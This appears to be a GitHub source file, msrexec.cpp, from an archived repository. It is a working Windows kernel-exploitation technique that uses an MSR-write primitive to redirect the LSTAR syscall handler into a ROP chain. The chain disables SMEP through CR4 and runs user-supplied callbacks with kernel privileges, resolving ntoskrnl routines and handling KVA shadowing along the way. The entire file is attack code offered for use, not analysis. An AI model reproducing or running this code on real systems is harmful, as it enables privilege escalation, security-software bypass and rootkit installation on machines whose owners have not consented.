This repository has been archived by the owner on Sep 4, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 5
/
msrexec.cpp
263 lines (207 loc) · 7.74 KB
/
msrexec.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#include "msrexec.hpp"
void msrexec_handler(callback_t* callback)
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
(*callback)(ntoskrnl_base, get_system_routine);
}
namespace vdm
{
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr)
{
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
if (!find_gadgets())
std::printf("> failed to find gadgets...\n");
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
if (!find_globals())
std::printf("> failed to find globals...\n");
// guess CR4 value for now...
// later on I get real cr4 value from IPI...
const auto cr4_value = guess_cr4_value();
m_smep_on.flags = cr4_value.flags;
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
// debug prints...
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::printf("> m_smep_off -> 0x%p\n", m_smep_off.flags);
std::printf("> m_smep_on -> 0x%p\n", m_smep_on.flags);
std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
// when this returns back to UM, CR4 will still potentially contain invalid bits...
this->exec
(
// grab the actual CR4 value from other cores by firing an IPI...
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
_ipi_data ipi_data;
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
const auto cpuid_num =
cpuid_info
.cpuid_additional_information
.initial_apic_id;
ipi_data.core_num = cpuid_num;
const auto ex_alloc =
reinterpret_cast<ex_alloc_t>(
get_kroutine(krnl_base, "ExAllocatePool"));
const auto ex_free =
reinterpret_cast<ex_free_t>(
get_kroutine(krnl_base, "ExFreePool"));
const auto ipi_call =
reinterpret_cast<ipi_call_t>(
get_kroutine(krnl_base, "KeIpiGenericCall"));
const auto ipi_callback_buf =
ex_alloc(NULL, sizeof ipi_callback);
memcpy(ipi_callback_buf, ipi_callback, sizeof ipi_callback);
// please note that &ipi_data will be a
// pointer to the *kernel stack* so its globally mapped...
ipi_call(ipi_callback_buf, &ipi_data);
// fix m_smep_on and m_smep_off values now...
m_smep_on.flags = ipi_data.cr4_val;
m_smep_off.flags = ipi_data.cr4_val;
m_smep_off.smep_enable = false;
// free ipi_callback buffer and return from syscall...
memset(ipi_callback_buf, NULL, sizeof ipi_call);
ex_free(ipi_callback_buf);
}
);
// restore CR4 values so that they are correct
// (syscall handler from last exec hasnt updated CR4 with corrected m_smep_off/m_smep_on)...
this->exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void{});
}
auto msrexec_ctx::guess_cr4_value() -> cr4
{
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
cpuid_eax_07 cpuid_features;
__cpuid((int*)&cpuid_features, 7);
cr4 cr4_value{};
cr4_value.debugging_extensions = true;
cr4_value.page_size_extensions = true;
cr4_value.machine_check_enable = true;
cr4_value.physical_address_extension =
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
cr4_value.os_fxsave_fxrstor_support =
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
cr4_value.os_xmm_exception_support = true;
cr4_value.fsgsbase_enable =
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
cr4_value.os_xsave =
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
cr4_value.pcid_enable =
cpuid_info.cpuid_feature_information_ecx
.process_context_identifiers;
return cr4_value;
}
auto msrexec_ctx::find_gadgets() -> bool
{
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_mov_cr4_gadget)
return {};
m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
if (!m_sysret_gadget)
return {};
m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (!m_pop_rcx_gadget)
return {};
return true;
}
auto msrexec_ctx::find_globals() -> bool
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
if (!ki_system_call)
return {};
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
/*
.text:0000000140406CC0 KiSystemCall64
.text:0000000140406CC0 0F 01 F8 swapgs
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
*/
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
// handle KVA shadowing... if KVA shadowing is
// enabled LSTAR will point at KiSystemCall64Shadow...
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
// if SystemKernelVaShadowInformation is not a valid class just
// return true and assume LSTAR points to KiSystemCall64...
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
{
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
{
const auto [section_data, section_rva] =
utils::pe::get_section(
reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
if (!section_rva || section_data.empty())
return true;
const auto ki_system_shadow_call =
utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(),
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
// already set m_syscall_call so we just return true...
if (!ki_system_shadow_call)
return true;
// else we update m_system_call with KiSystemCall64Shadow...
m_system_call = (ki_system_shadow_call -
reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe");
}
}
return true;
}
void msrexec_ctx::exec(callback_t kernel_callback)
{
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// set LSTAR to first rop gadget... race begins here...
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
std::printf("> failed to set LSTAR...\n");
else
// go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
{ this->wrmsr = wrmsr; }
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
{ return this->wrmsr; }
}